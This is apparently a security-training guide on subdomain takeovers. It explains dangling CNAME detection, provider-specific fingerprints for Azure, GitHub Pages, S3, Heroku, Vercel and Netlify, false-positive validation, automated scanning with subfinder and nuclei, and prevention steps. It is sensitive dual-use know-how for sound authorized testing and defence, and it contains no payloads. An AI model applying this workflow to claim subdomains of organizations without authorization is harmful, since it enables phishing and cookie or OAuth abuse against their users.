A subdomain takeover happens when a subdomain still points through DNS to an external resource that no longer exists and that resource can be claimed by someone else. The result can be control of content served under a legitimate subdomain of the affected organization. This guide covers dangling CNAME detection, false-positive validation, and common patterns across Azure, GitHub Pages, AWS S3, Heroku, Vercel, Netlify, and other providers.
The techniques described here are intended for authorized security testing, bug bounty programs, and defensive validation. Provider behavior, ownership checks, and name-reuse protections change over time, so every finding should be confirmed carefully and within the permitted scope.
What is a subdomain takeover?
A subdomain takeover is caused by a mismatch between an organization's DNS configuration and the lifecycle of an external service. A team removes an application, bucket, CDN endpoint, hosted page, or cloud resource but leaves behind the DNS record that points to it.
A typical CNAME lifecycle looks like this:
# Normal state
blog.example.com → CNAME → project.provider.example → Active resource
# Resource deleted, DNS still present
blog.example.com → CNAME → project.provider.example → NXDOMAIN / provider error
# Potential takeover condition
If the provider allows "project" to be registered again, another party may be able to claim it.
This is different from DNS hijacking. A takeover does not require compromising the DNS provider or modifying the zone. The legitimate DNS configuration simply continues to trust an external resource the organization no longer controls.
Signals worth investigating
- A CNAME points to a hostname that returns
NXDOMAIN. - The provider returns a recognizable "resource not found" response.
- The resource identifier appears reusable on the external platform.
- The subdomain is still referenced by certificates, JavaScript, mobile apps, or old documentation.
- The domain belonged to an application that was retired or migrated.
What is the impact of a subdomain takeover?
Impact depends on how the subdomain was used and how much trust other systems still place in it. Serving content under a legitimate organizational domain can enable scenarios such as:
- High-credibility phishing: the URL genuinely belongs to the organization's domain.
- Cookie exposure: overly broad
Domain=.example.comcookie settings may increase impact. - CORS allowlist bypass: when an application trusts subdomains through overly permissive rules.
- Unsafe OAuth/OIDC flows: where a
redirect_uriaccepts subdomains that are no longer controlled. - Supply-chain impact: a deleted resource may still be referenced by scripts, assets, or build pipelines.
- Application traffic interception: if legacy systems continue connecting to the retired hostname.
During an assessment, impact should not be assumed just because a DNS record is broken. The key questions are whether the external resource is actually claimable and what trust relationships still exist around the affected subdomain.
How to detect a subdomain takeover
Step 1 — Enumerate subdomains
For an authorized penetration test or in-scope bug bounty target, begin by building an inventory of subdomains. Passive sources are useful because they can reveal forgotten assets with minimal noise.
subfinder -d example.com -silent -o subs.txt
amass enum -passive -d example.com -o amass_subs.txt
assetfinder --subs-only example.com >> subs.txt
# Merge and deduplicate
cat subs.txt amass_subs.txt | sort -u > all_subs.txt
Step 2 — Inspect CNAME records and DNS resolution
dig app.example.com CNAME +short
dig target-name.example-provider.com
A target hostname returning NXDOMAIN is an important signal, but it is not proof of a takeover by itself. Some services return similar states even when the identifier is reserved, protected, or still associated internally.
Step 3 — Identify the provider
The CNAME hostname and HTTP response often reveal the underlying platform. Common examples include:
| Service | Typical indicator | What to validate |
|---|---|---|
| GitHub Pages | There isn't a GitHub Pages site here. | Domain status and organization verification |
| Azure App Service | 404 Web Site Not Found or another missing-site response | Actual name availability and custom-domain ownership |
| Azure Blob Storage | Mapping or missing-resource errors | Storage Account availability |
| AWS S3 | NoSuchBucket | Name, region, and current AWS restrictions |
| Heroku | No such app | Whether the custom domain can be assigned |
| Vercel | Deployment/domain not found | Current custom-domain ownership state |
| Netlify | Site-not-found response | Whether the domain can be assigned to another site |
| Fastly | unknown domain | Domain configuration inside the service |
Community references such as can-i-take-over-xyz are useful for fingerprinting, but they do not replace manual validation. Providers regularly change ownership checks, error messages, and name-reuse protections.
Subdomain takeover false positives
One of the most common mistakes is reporting every broken CNAME as a takeover. For a real vulnerability to exist, at least two conditions must be met:
- The resource referenced by DNS is no longer controlled by the organization.
- A third party can effectively reclaim the identifier or associate the domain with a new resource.
An NXDOMAIN response, a 404 page, or a known fingerprint is an investigation lead, not a final proof. Typical false positives include reserved names, mandatory ownership verification, recently deleted resources that remain protected, and services that return NXDOMAIN for valid internal states.
For a responsible proof of concept, use harmless content, do not collect real user data, and stop as soon as the control condition has been demonstrated.
Azure subdomain takeover
Azure has multiple services that use public hostnames derived from resource names. That makes old CNAME records particularly interesting after migrations, environment cleanup, or resource deletion.
Azure App Service
dig app.example.com CNAME +short
# project.azurewebsites.net.
dig project.azurewebsites.net
If the hostname no longer exists, the next authorized validation step is to determine whether the resource name is still protected or can be reused. The HTTP response alone is not enough; the ability to bind the custom domain is what matters.
Azure CDN (*.azureedge.net)
Historical Azure CDN endpoints still appear frequently in old asset inventories. A CNAME pointing to *.azureedge.net that no longer resolves should be reviewed together with the current endpoint state and the provider's ownership protections.
dig cdn.example.com CNAME +short
dig name.azureedge.net
Azure Virtual Machine (*.[region].cloudapp.azure.com)
For virtual machines using DNS labels, the region is part of the hostname and can matter when determining whether an identifier could be reused. Do not assume that legacy hostname formats behave the same way.
Azure Traffic Manager (*.trafficmanager.net)
Traffic Manager is a useful example of why NXDOMAIN does not automatically mean takeover. A profile with no active endpoints may produce DNS behavior that resembles a deleted resource.
Azure Blob Storage (*.blob.core.windows.net)
With Storage Accounts, the account name controls the public hostname. If an old subdomain still points to a deleted account, verify whether the name remains protected and whether the provider requires custom-domain ownership validation.
Other Azure services worth reviewing
| Service | Typical domain | What to validate |
|---|---|---|
| Azure API Management | *.azure-api.net | Name reuse and custom-domain binding |
| Azure SQL Server | *.database.windows.net | Endpoint reassignment and residual connections |
| Azure AI Search | *.search.windows.net | Resource-name availability |
| Azure Container Registry | *.azurecr.io | Registry-name reuse |
| Azure Container Instance | *.azurecontainer.io | DNS label and reuse scope |
| Azure Redis Cache | *.redis.cache.windows.net | Hostname reuse and legacy connections |
| Azure Service Bus | *.servicebus.windows.net | Namespace reassignment and residual traffic |
For every service, focus on three questions: whether the hostname is derived from the resource identifier, whether that identifier can be assigned again, and whether the provider requires proof of domain ownership. Avoid treating the number of potentially affected Azure services as a permanent figure because products and protections change over time.
GitHub Pages subdomain takeover
GitHub Pages is one of the classic takeover patterns. A custom subdomain may continue pointing to a Pages hostname after the repository or Pages configuration has been removed.
dig docs.example.com CNAME +short
# organization.github.io.
curl -I https://docs.example.com
Before concluding that a takeover exists, consider GitHub's domain-verification protections. An organization that has correctly verified its domain should prevent unrelated users from freely reusing it.
In an authorized environment, a proof of concept only needs to demonstrate that the mapping can be claimed. Harmless static content containing the report identifier is sufficient.
AWS S3 subdomain takeover
Deleted S3 buckets are another well-known pattern, especially when a custom subdomain previously pointed to an S3 static website endpoint.
dig assets.example.com CNAME +short
# assets.example.com.s3-website-eu-west-1.amazonaws.com.
curl -I http://assets.example.com
A response such as NoSuchBucket shows that the target bucket does not exist, but exploitation still depends on whether the expected name can currently be created and on AWS's current restrictions. The region encoded in some endpoints may also matter during validation.
Why S3 takeover impact can go beyond a web page
If the old hostname is still referenced by applications, scripts, documentation, or CI/CD pipelines, the impact can extend beyond simple page replacement. During defensive remediation, search for every reference to the affected hostname before closing the issue.
Heroku, Vercel, and Netlify subdomain takeovers
Heroku
A domain that still points to a deleted application may return a missing-app message. Validation should determine whether the custom hostname can actually be assigned to another application.
Vercel
Vercel subdomain takeover is a common search and assessment scenario. A CNAME pointing to Vercel infrastructure combined with a missing deployment or domain state is worth investigating, but current domain-ownership checks must be part of the validation.
dig preview.example.com CNAME +short
curl -I https://preview.example.com
Netlify
The pattern is similar: an external hostname, a removed site, and a custom-domain DNS record that remains in place. As with other providers, the important question is not only which error page is returned, but whether the platform allows that domain to be bound to a newly controlled resource.
Other vulnerable-service patterns and fingerprints
Dangling configurations also appear on SaaS, hosting, documentation, and CDN platforms. A few provider names are worth recognizing during fingerprinting:
Shopify
Custom domains associated with retired stores may remain pointed at Shopify infrastructure. A store-unavailable response is only an initial indicator; validate whether the platform would actually allow the domain to be associated again.
Zendesk
An old Help Center may leave a residual CNAME pointing to *.zendesk.com. Review both the tenant state and the provider's current domain-verification controls.
HubSpot
Domains used for landing pages and old content may continue pointing at HubSpot infrastructure after the original resource has been removed.
Fastly
Responses such as Fastly error: unknown domain are useful fingerprints for orphaned configurations, but they still need to be validated against actual domain-registration behavior.
ReadMe and other SaaS platforms
Documentation platforms, help centers, marketing services, and other products with custom domains follow the same lifecycle pattern: active DNS + deleted resource + possible reassignment.
The investigation workflow remains consistent:
- Identify the DNS record.
- Resolve the target.
- Fingerprint the provider.
- Determine whether the original resource still exists.
- Validate whether a third party can reclaim the identifier.
- Assess the real trust and impact associated with the subdomain.
Fingerprints are useful for prioritization, but a strong report should never rely on an error string alone.
Automating subdomain takeover detection
On large attack surfaces, automation is useful for discovering candidates that can then be validated manually.
Subdomain enumeration
Takeover detection and fingerprinting
- Nuclei with takeover templates.
- Subzy.
- BadDNS.
- Subdominator.
# Candidate discovery pipeline for authorized assets
subfinder -d example.com -silent | \
httpx -silent | \
nuclei -t /nuclei-templates/http/takeovers/ -o candidates.txt
Treat automated output as a candidate list. Manually review each result and eliminate false positives before reporting.
If you are learning this workflow, continue with our pentesting course and practice web exploitation in the SixHack Academy CTF Labs.
How to prevent subdomain takeover
1. Remove DNS before deleting the resource
When retiring a service, remove the DNS record first, wait for the TTL to expire, and only then destroy the external resource. Reversing that order creates the exposure window.
2. Maintain an inventory of external DNS dependencies
Track each subdomain together with its internal owner, external provider, and associated resource. Unowned and undocumented assets are the ones most likely to become dangling.
3. Monitor DNS continuously
Automate checks for CNAME records that start returning NXDOMAIN or known missing-resource fingerprints. This can be integrated into attack-surface management or CI/CD workflows.
4. Enable domain verification
When a provider supports organization-level domain verification or ownership protection, enable it. This can reduce the chance that an external account associates your corporate subdomain with another resource.
5. Review cookies, CORS, and redirect URIs
A takeover becomes more serious when applications broadly trust every subdomain. Avoid unnecessarily broad cookie scopes, permissive CORS allowlists, and wildcard redirect URI patterns.
6. Search for references before retiring a service
Search codebases, JavaScript, mobile applications, repositories, pipelines, documentation, and configuration files for the hostname before removing the external resource.
To go deeper into these attack classes, see our web hacking guide and the full catalog of offensive cybersecurity courses.
Subdomain takeover FAQ
What is a subdomain takeover?
A subdomain takeover is a vulnerability where a legitimate subdomain still points to a deleted external resource and another party can claim that resource, gaining the ability to serve content under the affected subdomain.
Does NXDOMAIN prove a subdomain takeover?
No. NXDOMAIN is a strong dangling-resource signal, but you still need to validate whether the identifier can be reused and whether the provider allows the custom domain to be associated with a new resource.
Which services can be affected by subdomain takeover?
Any external service that derives public hostnames from reusable identifiers or supports custom-domain binding may be relevant. Commonly researched examples include Azure services, AWS S3, GitHub Pages, Heroku, Vercel, Netlify, and various SaaS/CDN platforms.
What is the difference between subdomain takeover and DNS hijacking?
DNS hijacking involves altering or compromising DNS resolution. In a subdomain takeover, the legitimate DNS record has not been changed; it still points to an external resource the organization no longer controls.
How do you prevent subdomain takeover?
Remove DNS records before deleting external resources, monitor for dangling CNAMEs, enable domain-ownership protections where available, and avoid broad trust relationships across all subdomains in cookies, CORS, or OAuth configuration.
References
- can-i-take-over-xyz — community-maintained fingerprints and service status.
- Stratus Security — Azure Subdomain Takeover Guide.
- Stratus Security — AWS Subdomain Takeover Guide.
- 0xpatrik — Takeover Proofs.
- ProjectDiscovery — Nuclei takeover templates.